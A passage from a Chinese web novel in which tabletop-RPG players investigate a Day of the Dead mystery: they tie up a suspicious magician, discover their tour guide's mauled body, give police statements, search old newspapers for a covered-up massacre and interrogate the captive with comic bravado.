“杰弗里·斯坦贝克,”祝槐一字字情真意切,“这可是你的亲爸爸!”
KP的笑声戛然而止。
杰弗里:“???”
KP:“?????”
慢着?你慢着?!
——嚯!
附近的门缝马上开得更多更大了。
南风反应过来,“对、对啊!”
“就算他做出了那种事,”他演技不够,痛心疾首来凑,“也都是为了你啊!”
杰弗里:“我没——”
“你确实没有。”
祝槐从善如流地接道:“这一切都是他自愿的,可念在他当初也是不得已的份上,能不能至少让他进去歇口气?”
南风拼命点头。
“他昏过去之前,”他沉痛道,“一直都在叫你的名字!”
祝槐:“我知道你一定不想原谅他……”
杰弗里说到一半被她堵回去的那句话终于吼了出来:“我刚才就在说了——”
“我没有这个爸爸!!!”
他在下一秒就后悔了。
祝槐一脸“我理解你的感受”。
南风还在叹气。
已经忍不住探出头来吃瓜的邻居们恍然大悟。
杰弗里:“………………”
他恼羞成怒地甩开了门把手,敞着门头也不回地往里走。
“你们!进来!”
亡灵舞(六)
这间公寓就像整栋楼外表看上去那样,颇有一股上世纪七八十年代风行的色彩浓烈又隐约泛黄的风格……
往好听了说是复古风范,说实话就是它好像真有这么旧。
杰弗里一个人住,屋子里也是能拿去当当代男生独居可怕性的典型范例。
破了个洞的沙发上胡乱扔满了T恤衫跟外套之类的衣服,桌上堆着的都是碳酸饮料和方便面,还有大包垃圾食品。厨房洗碗池里的碗碟一个没洗,连角落的垃圾桶也积得老高。
南风把背着的人放下,满脸欲言又止,看样子简直忍不住要帮他把垃圾全倒了。
“别这么生气嘛,”祝槐说,“可能这就是传说中的‘有缘一线牵,千里来相见’?”
杰弗里:“………………”
这是孽缘吧!!!
“你们到底想干嘛?”他没好气道。
“有绳子吗?”祝槐问。
杰弗里:“?”
“我警告你们,”他警觉道,“我可不干违法的事儿。”
祝槐扬眉,“说得好,你要不是个惯偷我就信了。”
杰弗里不耐烦地啧了声,“老子谋财又不害命。”
“小偷小摸就没有那么严重?”祝槐环抱起双臂靠在还算干净的墙面上,“事情有点复杂,不是你想的那样,你只用帮我们看他两天,大不了事发就说是我们逼你做的。成功就按刚才说好的那样,如何?”
杰弗里神色犹疑。
“我还可以再出一笔钱。”
南风突然说:“至少可以够你过上一段宽裕点的生活。”
“现在要那么多钱也没用了……”杰弗里嘟囔。
南风:“??”
“烦死了!我知道了!”小偷回过神来,不情不愿地起身趿拉着鞋往房间里走,“反正说好了,事成之后给钱,到时候要杀要剐跟我没关系,你们自己走远点!”
魔术师被撂在硬邦邦的地板上,祝槐经过的时候小心绕过了他,狭小的茶几上也乱七八糟地扔着水电费账单和租房广告。
听到重新从后面传来的脚步声,她这才直起身来,“你不是本地人?”
“不是,五六年前来的。”杰弗里把绳子往他们面前一扔,“现在跟这没关系吧,你们搞快点。”
他无意多说,二人也没有再问下去。正常人家里平时当然也不会来留着麻绳来预备犯罪,杰弗里拿来的就是那种用来捆扎和包装的普通塑料绳,估计是哪次拆了没扔的。
长度倒是够用,两名玩家一个搬头一个搬脚,把山羊胡男人搬到客厅正中,动作竟然隐隐已经有了几分熟能生巧。
魔术师的双手被反剪到背后,被他们用绳子捆好后又跟同样绑过了的脚腕拴了一道,最后除了五花大绑外还不忘给嘴里塞了块布团,大概是未免呼救。
就很严谨。
杰弗里:“……”
他不会引狼入室了吧?
他托着下巴在旁边围观,“我只用看着他就行了?”
南风:“嗯……”
他犹豫了一下,还是说道:“醒了也不用管,但是注意点他的动静,如果发出了什么奇怪的声音或者做出了奇怪的动作,直接打晕他。”
……啥玩意儿?
杰弗里顿时觉得这俩人更可疑了,将信将疑地“哦”了一声。
“这是我的电话,”祝槐闻言歪歪头,也报了串数字,“他醒了就跟我们说一声。”
杰弗里看眼他俩,不情不愿地摸出手机,正要给她打过去交换一下联系方式,祝槐的手机却先一步响了起来。
看着屏幕上来电显示的名字,她忽然有点不好的预感。
她接起电话,汤尼先问了声:“贝奈特小姐,阿狄森先生也在吗?”
“啊,”祝槐说,“他在。”
反正现在都是共犯,她和南风明面上也没什么好瞒着杰弗里的,干脆就直接按了公放。
“你们还在一起啊,那就好。”汤尼的声音回荡在屋内,“斯图尔特夫人他们似乎也对教堂那边有点兴趣,我们商量了一下准备等会儿也来看看。”
祝槐:“……”
南风:“……”
不用“也”了,他们根本不在。
【嘻嘻。】
杰弗里看他们的表情猜出了个大概,才被坑了一把的他此刻满眼都是幸灾乐祸,憋笑憋得异常辛苦。
“好啊。”祝槐若无其事地回答,“反正我们还只是在外面转转呢,正好等你们一起进去。”
正所谓撒下一个谎就要用无数谎来圆,等她挂掉电话,南风心情复杂,“咱们……”
祝槐幽幽叹气,“还有别的选择吗?”
——当然是打车赶紧走啊!
这晚一分钟都可能再出岔子,两人赶紧在杰弗里看戏的目光中火急火燎地往楼下冲,站在路边等了比一个世纪还漫长的两分钟后终于拦下一辆没有载客的出租车,一前一后上了车就赶紧催促着司机往教堂所在的方向开去。
【过个幸运吧。】
KP懒洋洋道。
【看看你们有没有堵车,又能不能顺利在他们抵达之前赶到教堂。】
他又补充说。
【对了,是幸运最低的那个人过。】
祝槐沉默了,你这针对还能更明显点吗?
过就过。
[阿维丝(祝槐)]的幸运检定,11/25,困难成功。
KP:“………………”
这他喵的离谱啊!!!!!
祝槐有样学样,“嘻嘻。”
南风看不见骰点也不妨碍他跟着傻乐,笑得司机都在后视镜里多看了两眼,然后忍不住默默又加了一脚油门。
狗KP偷鸡不成反蚀把米,宽敞的柏油马路上全程畅通无阻,连一个红灯都没有遇上,等到在教堂门口的路沿边停下,两人动作迅速地跳下了车,付了车费之后又塞足了小费,只求让司机赶紧带着他的车消失个无影无踪。
司机从未见过如此奇怪的要求,乐滋滋地拿着丰厚的小费走人,老式出租车的尾气刚消失在街头拐角的下一秒,他们就从另一头窥见了那辆熟悉的面包车。
面包车减速后摇摇晃晃地在他们身边停下,门锁弹开后,汤尼第一个下来,挠着头笑道:“两位没等太久吧?”
祝槐和南风异口同声:“没有没有。”
连两分钟都不到呢。
“诶那就好,”小导游乐呵呵地说,“看来赶得正好,那咱们进去吧,我也提前跟神父打电话说过了。”
一个地区的文化风貌如何,看它的宗教建筑当然是最一目了然的方法之一。
可能因为人口并不是很多,泉城这座小教堂确实是小了点,但历史仍然在它身上留下了光辉的色彩。午后阳光在塔楼尖顶上反射出耀眼光点,余下则尽数洒向了那些巴洛克风格的精致雕饰,他们踏上一级级台阶,只是祝槐的注意力落在了别的地方。
她用余光去观察汤尼的一举一动和神色,发现他果真与这两天其他相处的时候相比并没有任何异样。她也只来得及用几眼来打量,这位领头的导游很快推开大门,让教堂内部的光景映入眼帘。
泉城本地教堂不算出名,当地居民大多又都在忙着操办亡灵节,会在这时候来的就只有寥寥一些游客和信徒。
正在低声与人谈话的神父随着大门开合而带来的光暗变化投来视线,在看见他们进门时跟对方说了句什么,也友好地笑着走了过来。
神父得有个五六十岁的年纪,身着肃穆的黑色长袍,一双浅褐色的眼睛里满是平和,连脸上的每一道笑纹都更显出和善。
一行人里只有卡洛琳在进门时蘸着圣水划了个十字,神父也毫不在意,依次和几人打过招呼后又道:“各位随意,不必拘束,我还需去问候别的弟兄姐妹,还容我请退。”
他们当然是表示不介意,神父便从善如流地走向了其他信徒和游客,而之前留在原地那个,也随着神父走来的举动看过来了一眼。
南风:“……”
祝槐:“……”
不是,怎么又是你?
金发青年显然也认出了他们,他脸上还挂着那种有些捉摸不透含义的笑意,却没有要过来的意思,只是驻足看了神父那边一会儿,然后就往教堂侧边上的小门走去。
以他们现在的身份肯定是去不了那边的,教堂里又实在没有什么可看的,除了真祈祷了一番的卡洛琳,其他人都肉眼可见的无聊。而南风……祝槐之前的话放在这,他只好装模作样地研究起了彩绘玻璃上的图案。
所以当汤尼试探着问他们要不要去吃午饭——虽然以时间而言已经接近晚饭了——的时候,几乎所有人都松了一口气。
其实他们也不算饿,广场上有好些味道不错的小吃摊点,每个人都垫了点肚子,也能当成半顿午饭了。
但总比把时间都花在这里强!
“嗨,我想打听一件事。”
趁着汤尼在跟手机那头讲话,祝槐走到了唯一一个不忙的队友旁边,“汤尼是一直跟你们在一起的吗?”
身材高大的男人看她一眼,似乎是没想到她会来跟自己搭话。
“是,”他惜字如金,“怎么了?”
“……没什么。”祝槐皱眉,“就问问。”
她又走开了。
刀疤:“?”
汤尼跟司机打完电话,有点尴尬地摸摸鼻子。
“车开去加油了,”他说,“可能还有几分钟,再多等一会儿?”
“咱们往那边走走也行嘛。”
祝槐笑眯眯地建议:“虽然节省不了多少时间,但也可以当散散步。”
来的时候没有
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好好看过教堂周围,当然得现在创造机会了。
跟她一边的南风马上附和,刀疤满脸漠然,卡洛琳也没意见,这提议就这么稀里糊涂地通过了。
天色之间已经能隐约看见一点夕阳的晖光了。
教堂外是一片片平平整整、无人践踏过的葱绿草坪,马路旁的步行道蜿蜒通向远处。这附近的游客还是不多,所以当他们走近不远处来回晃荡着的那人时,一眼就能看得出他并非其中之一。
南风率先“咦”了声。
这下其他人也都看过去,老头跛了条腿,在原地背着手一摇一晃地兜圈,嘴里哼哼唧唧地念叨着什么。
他头发掉了不少,一会儿就挠一下自己的瘌痢头,衣服也沾了脏兮兮的污渍,只有腰间那串钥匙被擦得亮得很,跟着他的动作丁铃当啷作响。
“……超脱了沦入死亡岁月……涌出疯狂之溪……”
他哼着乱七八糟的调子,传进几人耳中只能听个大概。
“盘旋在发亮的墓碑之间……那片墓园……”
老头忽然猛地抬起了头,才注意到有人似的看向他们的方向,露出个不剩几颗牙的恶心笑容。他的一只眼珠已经完全浑浊发白了,疯疯癫癫之余也显出格外的可怖。
他哼着不成调的歌,也不搭理他们,转身就进了后头的破房子。
“墓园……”
南风张了张口,“……说的是这墓园吗?”
的确,墓地就建在教堂旁边也很正常。
他们眼前有一小片栅栏,再往前就是形形色色的墓碑,只是看那风吹雨打过的磨损痕迹,多少有点年久失修。离他们最近的还是老头进的那栋小房子,也是一样的破破烂烂。
“呃……”汤尼也有点哑口无言,“应该是守墓人吧?”
卡洛琳皱眉,“明明草坪打理得不错。”
其他人都懂她作为教徒的言外之意——怎么到墓园就变成了这样子。
不过很快出现在他们面前的面包车截断了这段议论,以单纯旅游的角度而言,这一天剩下的时间过得还不错。
他们在汤尼新找到的那家餐厅好好饱餐了一顿,虽然不至于美味到什么程度,可总比昨天好太多了。
回到酒店也是和前一天差不多的时间,祝槐窝在房间里感慨了番为什么现在不是斯卡蒂·格雷那张卡,毕竟以正常毕业的表演生而言,居然会精通黑客技术确实太不合情理了点。
好不容易挨过快两小时,钟表指针过了九,她拔了房卡反锁了门,坐上电梯下楼,跟一早就等在大堂的南风见了面。
两人之前在聊天软件上说好这个时间碰头,再一块去杰弗里家。
祝槐也才问过了后者,据他说是男人醒了就阴狠地瞪着他试图念念有词,结果嘴里布团都吐不出来就又被他给打晕了。
啊,King那多灾多难的后脖颈。
过了这么久,去看一眼总是放心点,顺便也能问问当时到底是个怎么回事。
“走过去也挺远的,”南风嘀咕,“就不能再拦辆出租车什么的吗?”
祝槐:“走走再看吧。”
临近十点,泉城平时应该没多少夜生活,游客来了只好入乡随俗。街上行人相当稀少,好半天才能看到一个,更别提出租车了。
路灯的间隔很远,把灯柱和人都拖出老长一道影子,连那些挂在半空中的装饰,在陷入黑暗的情况下也形如鬼魅起来。
有那么一段时间,完全只有他们两个走在路上,听着彼此的脚步声,还有细碎的风刮过树叶的摩擦声。
【聆听,请吧。】
[阿维丝(祝槐)]的聆听检定,63/80,成功。
“……怪了。”南风嘟囔。
显然不止有她听到了KP的指示。
祝槐还在侧耳细听,远远传来的像是狗叫,又似乎有哪里不太一样。那声音很快消弭在风中,仿佛从一开始就不存在。
与之相反的是眼前,正挂在树上微微晃动的影子在他们走近后变得明晰。
南风:“谁在树上挂了个——”
他可能是想说布袋,也可能是想说木头,但无论如何,在真正看清“那玩意儿”的时候,这些都不重要了。
先入目的是一双脚。
那对沾满血污的脚腕被倒吊在某根粗壮的树枝上,再往下就是有些破烂了的衣裤。
裤腿被扯开了,小腿肚啃得只剩白骨,大腿更是东一口西一口地不成样子。
开膛破肚后,肠子和其他内脏也流出来,让空气里溢满了难闻的血腥味。
吸引来的蚊蝇盘踞着嗡嗡作响,耷拉在地上的那些“内容物”上也都有着啃咬过的痕迹,至于双手……无力地垂着,显然已经死亡一段时间了。
视线再往下。
他们都看到了汤尼那张惊骇到目眦欲裂的脸。
亡灵舞(七)
“姓名?”
“阿维丝·贝奈特。”祝槐说。
“……艾,”南风磕绊了下,“艾伦·阿狄森。”
他仍然是一副脸色惨白、浑浑噩噩没回过神的样子,所以坐在办公桌对面的警察也没有追究,继续问道:“是你们报的警?”
其实这个问题在现场就已经确认过了,现在不过是再走一遍笔录的程序而已。
祝槐:“对。”
南风:“准确来说……是她报的警。”
不提还好,他想起这事就恨不得钻地缝。
汤尼死相带来的冲击实在太大,他叫是没叫出来——最后一丝理智全用来控制声音了——可反应过来才发现自己已经哆嗦着嘴唇坐在了地上,腿软得站都站不起来。
人家女孩子还好端端在旁边站着呢!
两人的反应也很符合KP让他们进行的检定——祝槐过了意志,只扣了区区一点SAN值,南风则是一口气五点。
而当下的情况,是还算冷静的祝槐当机立断报了警,警车在引来更多路人前赶到,收敛尸体、封锁现场,把两个目击者也拉回了警局。
案发已经是大半夜,他们被带回去简单问询以后还是休息了一下的,这会儿才正式做笔录,天都亮了。
警察点点头,将他们说的情况都记下来,“你们认识受害人?和他是什么关系?”
“我们是同团的观光客,”南风回答道,“汤尼·佩特是带队的导游,他在晚饭后送我们回来以后就离开了酒店,结果居然会……”
“那你们又为什么会在这个时间出现在那里?”
祝槐说:“我们昨天晚上在酒店里听说大家一般都喜欢去外面的酒吧喝酒,就有点好奇,本来打算去看看的。”
负责记录的警官又低头写了几笔,“受害者在和你们相处的过程中有表现出任何异样吗?”
祝槐作出一副试图回忆的样子。
“好像……没有。”她确信地说。
他俩确实也没有什么嫌疑,警察又盘问了一番案发现场当时的情况,让他们签过字后就放人走了。
局内其他警察本就在各忙各的,当地出了命案又正赶上如此盛大的庆典,光是压消息就要花去不少人手。
走出询问室,走廊上空荡荡的不见任何——不,还是有个人在的。
他半倚在墙面上,一手撑着另一手的胳膊肘,就这么横在身前,听见了动静才抬眼望过来。虽然依旧是眼含笑意,但现在离得近了才能看出那些毫不掩饰的打量。
领他们出来的那名警员见了他连忙低头致意,“先生。”
青年看着他们,话却是对警察说的,“报案人?”
“是,先生。”就算不知道身份,从警员毕恭毕敬的态度中也可以窥出几分,“我们也询问了当时附近的行人,应该是第一目击证人。”
他旋即凑到青年耳边,将那些无关紧要的证词大致复述了一遍。后者对此未予置评,只是在警员提到外出去酒吧时才挑了下眉,“这个我知道。”
“我那晚也在酒吧,对他们有点印象,他们看着是对那位调酒师的作品不算满意。”金发青年笑得还是很漫不经心,“去忙你的吧,我正好有事,顺道送他们出去。”
警员一怔,“先生……”
至于到底是酒吧供给的酒水不尽人意,还是有谁主动找了点事,那在场的四个人里就只有三个才清楚了。
警员犹豫着应了声“是”,快步走回了自己的岗位。待他的身影远去消失,青年才开了口。
“塞缪尔·洛佩兹,警探,你们也可以当我是特别顾问。”他似乎想去指警衔,然后才想起自己穿的是风衣而放下了手,“还未请教两位的名姓?”
南风:“呃……”
祝槐微笑,“我想不用这么麻烦。”
“说来也是。”
塞缪尔脸上丝毫不见看过他们资料的尴尬,“贝奈特小姐,阿狄森先生,和你们同行的另外两位现在应该也在警局门口,我带你们过去?”
“啊?”南风愣了下,“他们怎么也——”
“乔·瓦特先生外出时碰到了其他警察。”
塞缪尔若有所思,“听说是因为长相闹了点小误会。”
祝槐:“……”
南风:“……”
草啊。
祝槐的脚步一下子更快了。
南风:“贝、贝奈特?”
她赶着想去看热闹,这是可以说的吗?
“不过,贝奈特小姐还真是镇静,”塞缪尔突然说,“我本来以为能趁机稍微挽回一下自己的形象呢。”
他这话说得轻佻,但落在有心人耳中,那意味就再明显不过了。
祝槐也不避着,“洛佩兹警探是在考虑我的嫌疑吗?”
“这么明显?”塞缪尔失笑,也不否认,“抱歉,因为必须要考虑到各种各样的可能性。”
“我当然理解,”祝槐叹气,“警察的工作嘛。”
“其实从小就有人说我胆大,我自己对那方面也很有兴趣。不过当恐怖片里的画面真出现在眼前……”
她苦笑了下,摊开了手,“还是挺难接受的。”
她肤色很白,这样一对比,掌心那几道掐得隐隐渗出了血的红痕就更明显了。痕迹深浅不一,完全足以看出当时心神动荡究竟到了何种地步。
“但是……毕竟就两个人,”祝槐幽幽道,“一个人慌了另一个人总不能跟着慌吧。”
南风:“……”
呜呜呜呜别骂了别骂了!晕血这事他也很绝望啊!
塞缪尔:“?”
他忍不住看了在场另一名男性一眼,对她话中的含义表示了深深的欲言又止。
“是我多心了。”塞缪尔挑挑眉,“贝奈特小姐还是去局里的医务室包扎一下?至少消个毒。”
“这么点小伤就不麻烦了,”祝槐说,“我自己回去处理吧。”
她的态度比之前好多了。
没办法,当你准备好了苦肉计,等了半天才终于有人问,总归是会有那么一些不容易在的。
塞缪尔看了他们几秒,“好,虽然我不负责这起案件,但你们要是想起什么或者有什么我能帮上忙的地方……”
“就算只是需要心理干预,”他一人一张地递来两张名片,“也可以联系我。”
祝槐接过名片,跟她对塞缪尔·洛佩兹这个人花里胡哨的印象不同,白底黑字的名片倒是意外地很简洁,她看到了上面的名字、警衔,还有——
“你不是本地警局的?”她问。
上面明晃晃写的是德州州署。
怪不得那天会在酒店。
“对,所以我说可以当我是特别顾问。”他轻描淡写道,“我是被临时派遣到这边来的——为了查一桩突然被翻出来的案子。”
“什么案子?”南风好奇地问。
“一桩陈年旧案。”塞缪尔笑得随意,口吻却不容置疑,“更多的就不方便透露了。”
“哦……”南风也明白自己问得唐突,“哦哦,好的好的!”
“一点也不行?”
却是祝槐开了口:“以前的案子突然被翻旧账,又发生了新的杀人案,很难不让人怀疑这之间有什么联系。目击证人被牵连的状况也不是没有,警探是不是应该再安抚安抚我们这些无辜市民呢?”
她神情无害,全瞧不出语气的咄咄逼人,引得塞缪尔深深看了她一眼。
“……好吧,”他松了口,“也有一点。”
“当年那起案子的凶手手法十分利落,放下别的不提,算得上是一刀毙命。但是这次,根据初步尸检,汤尼·佩特尸体上的那些啃咬痕迹应该是动物的齿印。”
南风瞬间回忆起当时的景象,脸色难看地压下了涌上来的反胃感。
“所以两起案子应该没有必然联系。”塞缪尔说,“再往下就是机密了,这样够了吗?”
“够了。”
祝槐收敛起态度,耸耸肩,“刚好。下次见了,探长。”
她说的刚好,是他们刚好到了警局大厅前,看到了还站在那里的两人。
刀疤的脸色黑得像锅底,卡洛琳倒是神情如常,毕竟被找到警局来的也不是她。旁边的那个警察脸上与其说是歉意,还更像是想大事化小小事化了的敷衍。
不过他们两个也显然不想再纠缠,注意力也在看见这边的三人后转移过来,卡洛琳率先上了前。
“我们已经听说了。”她言简意赅地说,“你们打算怎么办?”
“总之……”南风抓着头发叹气,“先出警局?”
导游死了,他们这些同团的游客一起行动也可以,分头玩也可以——前提是他们真有这心情。
这从情理上讲应该是有专人安排后续的,然而……
“旅行社那边说已经腾不出别的人手了。”卡洛琳挂断电话以后向他们转述,“提出的解决方案是这几天由咱们自己安排,等回去了进行相应的赔偿退款。”
祝槐不算意外。
就这个配置,再看他们各有各的秘密,十有八九是临时加塞来的旅游团。本就人手不够又出了命案,谁还想来干这倒霉差事。
其实对他们自己也方便很多,所以也没人真去提要求加派来新导游。
“司机呢?”刀疤问。
“也留下,不过因为是最近接触最多的同事,目前还在接受讯问,回来工作可能都得明天了。”
南风捂脸,“……打车吧。”
他们早就出了警察局,站在路边商量之后的事,这下又多了另一样任务——看看有没有出租车。
这一片都是居民区,哪怕才大清早也有了来往的居民,隔会儿就有几句闲话飘进耳朵里。
“听说了吗?贝克酒店那边有人死……”
“真的假的啊?”
“真的!死相还特别的……”
“上帝啊……上次这样的还是在二十年前吧?”
“对对,我记得那家是姓海登?”
“他们的房子不都还……”
“二十年前?”南风突然问。
不仅仅是他的三个队友,正边经过边议论的那两位主妇也看了过来。
“呃,对不起,不小心听到了你们的对话。”他马上解释,“就是有点好奇,什么二十年前?”
“新来的游客?”其中一位约莫得有四十多岁的主妇打量了他,八卦心显然压过了别的,“二十年前的灭门案啊。”
就在这时,祝槐听到了KP的声音。
【突如其来地听闻昔日的那起事件,意志检定,成功不减,失败减1点SAN值。】
[阿维丝(祝槐)]的意志检定,40/50,成功。
KP:“……”
呵,冷漠的女人!
祝槐趁机观察了一下其他队友,卡洛琳面露惊讶,刀疤挑高眉毛,南风还在疑惑地问:“灭门案?”
“喏,就是那边那家。”另一位主妇抬抬下巴,手也跟着一指,“就一夜之间的事,一家四口全死了。”
“凶手还特别残忍……”先前那位摇着头啧啧两声,“现在人都没了,房子倒是还在,也不知道还留着个空房子做什么哦。”
“居然是这样……”南风恍然,“谢谢谢谢。”
主妇们离开了,祝槐正好看到一辆空出租车,招手让对方停下来时,歪头看了眼南风,“你很在意那起灭门案?”
南风:“也、也不算很在意?”
“那就去图书馆吧。”祝槐默认了他的说法,“反正不管是看看新闻还是什么都不亏。”
“我就不去了。”卡洛琳开口,“我还想去商业街转转。”
刀疤冷着脸哼了声,显然也对他们的目的地不感兴趣。
“好。”祝槐说,“那酒店见啦。”
他们到得还是太早,在附近的便利店磨磨蹭蹭吃了顿早饭才等到图书馆开门。
毕竟只是个小城的市图书馆,资料检索还没有那么便利,他们只好找到对应年份的报纸,挨个往回翻。
祝槐合上手里的最后一张,“没有。”
南风抓耳挠腮地去拿十一月的,“我这也没有。”
他俩分别从一月和十二月的开始查,直到翻遍六月和七月的报纸,也没有见到本该占据一纸版面的惨烈到二十年后还有人在议论的全家灭门案。
“会不会是年数有差啊?”南风愁眉苦脸道。
祝槐没出声。
她的年龄限制最低是二十一岁,不太可能是超出这个的年份。
“那就查查十九年前或者二十一年前的吧。”她说,“应该不会差太远。”
然而结果是一样的。
等到看完整整三年的报纸,哪怕只是快速翻阅,也早过了日上三竿。咨询过KP能不能用图书馆技能偷懒的结果就是节省不了多久不说还有失败的风险,那倒不如自己动手翻。
南风一边去擦蹭到手上的油墨一边唉声叹气,“结果还是一无所获……”
“不,”祝槐说,“是有的。”
南风下意识去看她找的那沓,“啊?”
祝槐挑眉。
“我说的是结论。”她道。
图书馆这一区域没有第三个人,但为了以防万一,他们还是把声音压得很低。
祝槐说:“证明这件事是要压下去掩盖的,而且牵扯的范围不会小。”
毕竟足以控制报社不去报道,而媒体从来都是乐意搞个大新闻的。
其实还有一种可能是有谁抢先来取走了报纸,但他们有特意留心过日期和页码,没有一张缺漏。
祝槐同时注意到了,被掩盖的不止是灭门案,还有“她”的存活本身。
“就算这样……”南风还是皱着眉,“唉,幸亏现在没有新导游,咱们是自由支配……”
“你觉得真的是没有新导游?”祝槐突然问。
南风:“……诶?”
“员工丧命,游客乱作一团,再怎么缺人手,直接放任也太不专业了。”祝槐思索,“你刚才有听到她说什么‘不用了’吧?”
南风努力去回忆卡洛琳接电话时的话,还真从脑海里搜刮出了类似的字眼。
他张大了嘴巴。
“你是说卡洛琳她——”
“只是猜测。”祝槐说。
“可是这么做没有意义吧,”南风不解,“这不是跟旅行社打个电话就能确认的谎话吗?”
“是啊,而且卡洛琳也知道。”祝槐说,“但重点是,其实我们没有一个人会去质问她。”
因为大家的利益目标是一致的。
大家心领神会的东西被摆上了台面,南风一下子有点说不出话来。
半晌,他说:“你是说,你……”
“没错,就像你一样。”祝槐笑道,“虽然怕得不行,但一点也没动过要离开的念头,对吧,阿狄森先生?”
南风的眼神已经默认了她的话。
作为玩家,他们当然都知道不能离开是为要继续调查事件;可是以不知道这一层的角色的身份和各不相同的调查理由而言,一切勾心斗角才刚刚拉开序幕。
“卡洛琳在等那个质问的人,不管到底有没有都有助于她的判断。”她挑挑眉,“我不打算当这个人选,你呢?”
“我才不揽这瓷器活。”
南风苦着脸把报纸都放回去,“饿都要饿死了,现在呢?”
“那还用问,吃午饭。”祝槐也受不了
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了,虽然她后半段就把工作丢给了对方,自己捧着地方志看了起来,“然后去下一个目的地。”
怎么也该去杰弗里家了。
可能是他们挑餐厅的眼光实在不怎么样,这里竟然和第一天的那家差不了多少。
两人看着面前味道古怪的生肉沙拉相对无言,祝槐就是有心也怕吃坏了身体掉链子,只好来了点面包垫个半饱,最后经过对面超市时不约而同地买了几包方便面准备带回去备用。
“我严重怀疑,”天大地大吃饭最大,南风欲哭无泪,“这地方跟我有仇。”
祝槐幽幽,“反正肯定和口味正常的人有仇。”
他们正走在通往杰弗里家的楼梯上,等站在跟前一敲门,已经得到消息的杰弗里马上打开了门,做贼似的放俩人进来。
……也不失为一种职业病。
一进门,他马上劈头盖脸地问:“你们怎么才过来?!”
祝槐一脸惊讶,“你不知道?”
杰弗里:“……知道什么?”
“出命案了。”祝槐说,“我俩作为证人去做了笔录。”
“?!”
“死了人我知道,但是你们就,”杰弗里吓了一跳,随即就是满脸怀疑,“你们不会……”
“想什么呢。”祝槐哭笑不得,“跟我们没关系。”
“……算了。”杰弗里悻悻然,“你们知道我打昏了他多少次吗?”
南风正蹲在魔术师旁边扒拉他,后者一翻身,露出了后脑勺上的大包。
祝槐:“……”
南风:“……”
啊这,是挺惨。
这动静一出,脑门着地的魔术师喉间溢出有些痛苦的□□,眼睛也慢慢睁开,困难地挣扎着侧过身,望向了站在旁边的三人。
当然,主要是南风和殴打了他无数次的杰弗里。
他说话就像嘶嘶的毒蛇,“……果然还是你们。”
“午安。”祝槐叹了口气,“你终于醒了。”
魔术师看上去眼神还有几分迷茫,正是趁热打铁的好时候。
“你看,反正早晚都是要说。”
主谋叹了口气,非常贴心地扶他坐了起来。
她友好而诚恳道:“他们说要打你一顿,我劝都劝不住,除非你现在就交代。”
“所以,先和特别爱好和平、压根见不得这些的我好好谈一谈怎么样?”
杰弗里:“???”
他只是个平平无奇的任务工具人啊!!
南风:“?????”
他的问号更多——最开始不是你动的手吗?!
但是……
南风一看King的表情,更是瞳孔地震。
喂,你怎么信了啊!
可能是最开始醒来的冲击让他忘记了那声“动手”,魔术师沙哑地笑了一声,“那先把我的绳子解开。”
“那可不行,”祝槐笑眯眯道,“我惜命得很。”
“看来你是知道有些力量的存在的?”魔术师冷笑,“放心,我不会再攻击你们了。”
祝槐微敛笑意,仔细打量起他的表情。
“KP,”她在心里说,“我申请心理学。”
根据最开始看到的说明,心理学的另一个——或者说真正的用途,是检测对方有没有说谎。
但人肉测谎仪实在太BUG了,所以在这时往往是由KP掷骰,玩家是看不到骰点结果的,只能由KP针对成功与否做相应的描述。
有点类似于KP在判断怪物或者什么进行一些行动时的秘密骰点,都称之为“暗骰”。
一阵骰子的响声。
【你认为他说的是真话,他事到如今似乎已经认命了,没有骗你们的必要。】
“好,”祝槐说,“我不答应。”
KP:“……”
那你有什么过的必要啊啊啊啊!!!
“除非你回答我的问题,”她道,“你对这座城市、对亡灵节知道多少?”
魔术师从现在才第一次正眼看她。
“小小年纪还挺敏锐。”
他语气不虞,“没错,就是你想的那样,我是有原因才来这里的。”
“不过我可不会这么简单就解释你的疑惑。”魔术师咧开嘴,“做个交易吧。”
“如果你们能帮我把教堂最里间的东西拿来,我一定知无不言。”
南风一愣,“教堂?!”
祝槐更冷静点,“为什么是教堂?”
“我当然有我的消息渠道,”魔术师狡猾地转了转眼珠,“就说做不做吧?”
祝槐正要开口,南风把她拉到了一边。
南风嘀咕:“你觉不觉得这样……”
祝槐帮他补上,“像极了RPG以物易物的NPC。”
南风:“对对对对。”
“真要答应他?”他又问。
祝槐回头看了眼。
魔术师显然不计较他们的窃窃私语,就等着一个肯定的答复。
祝槐说:“你得先证明自己的价值。”
魔术师冷冷地哼了声。
“小姑娘,”他看出点什么来,“其实真正管事的是你吧?”
祝槐笑吟吟反问:“你猜?”
“证明方式很简单,”她道,“你知道汤尼·佩特这个人吗?”
魔术师抬眼,“那是谁?”
南风急道:“我们亲眼看到准备进你帐篷的那个,别说你一点儿都不知情。”
“他现在死了。”祝槐补充。
“帐篷?”魔术师慢吞吞地重复一句,“如果你们是说那玩意儿,它可不是你们认识的那个汤尼·佩特。”
“用不着这么看着我。”
他瞥他们,“那小子死了也跟我没关系,他被盯上了,肯定是要死的。”
南风:“被盯上了?被什么盯上了?”
“KP,”祝槐说,“我要心理学他刚才这句话。”
【……你相信他确如自己所说的和汤尼的死几乎没有关系,但他肯定知道一些关键的内情,说不定还想以此为筹码来要挟你们。】
“不会再告诉你们别的了。”魔术师声称,向后边的沙发一靠,要不是他还被绑着,是可以表现得很傲慢的,“剩下的等你们取来东西再说,你们什么时候行动?”
祝槐看了他两秒。
“其实吧,我实在很好奇一件事——对不住啊,憋到现在才说。”
她奇道:“一个站着,一个被绑着,你到底为什么会以为我们是站在同等地位上的?”
魔术师:“???”
这时候难道不应该说“好我答应这个交易吗”?!
南风饱含同情地叹了口气——他就知道没有这么简单。
【你不是人!】
KP愤怒地小声谴责。
杰弗里嘴角抽搐,魔术师目瞪口呆,既然现在确认对方真的知道点什么,祝槐也懒得再装了,她从旁边拉来一把椅子一坐,完全不掩饰自己的恶人面孔。
“放心,”她饱含关切地说,“我真的很爱好和平,不会对你做什么的。”
“所以你有两个选择,一个是现在就全都告诉我们,一个是待会儿全都告诉我们,这样我们说不定还是会帮你把东西拿过来的。”
魔术师梗着脖子,“我偏不说。”
他不信他们还能真把他怎么地。
南风:“……”
他想起那句绑架事业的发言。
兄啊,咱惜点命吧。
祝槐惋惜地看他一眼。
然后,露出了一个十分和善的微笑。
魔术师:“………………”
他的后背,忽然窜上了一股微妙的凉意。
第18章 亡灵舞(八)
“先说好,”祝槐说“我也不想的。”
她勾勾手指把俩人都叫到旁边来耳语了一番。
杰弗里:“你……我……你……”
南风:“……真要这么干?”
【你们……】
kp虚弱道。
【能不能做个人……】
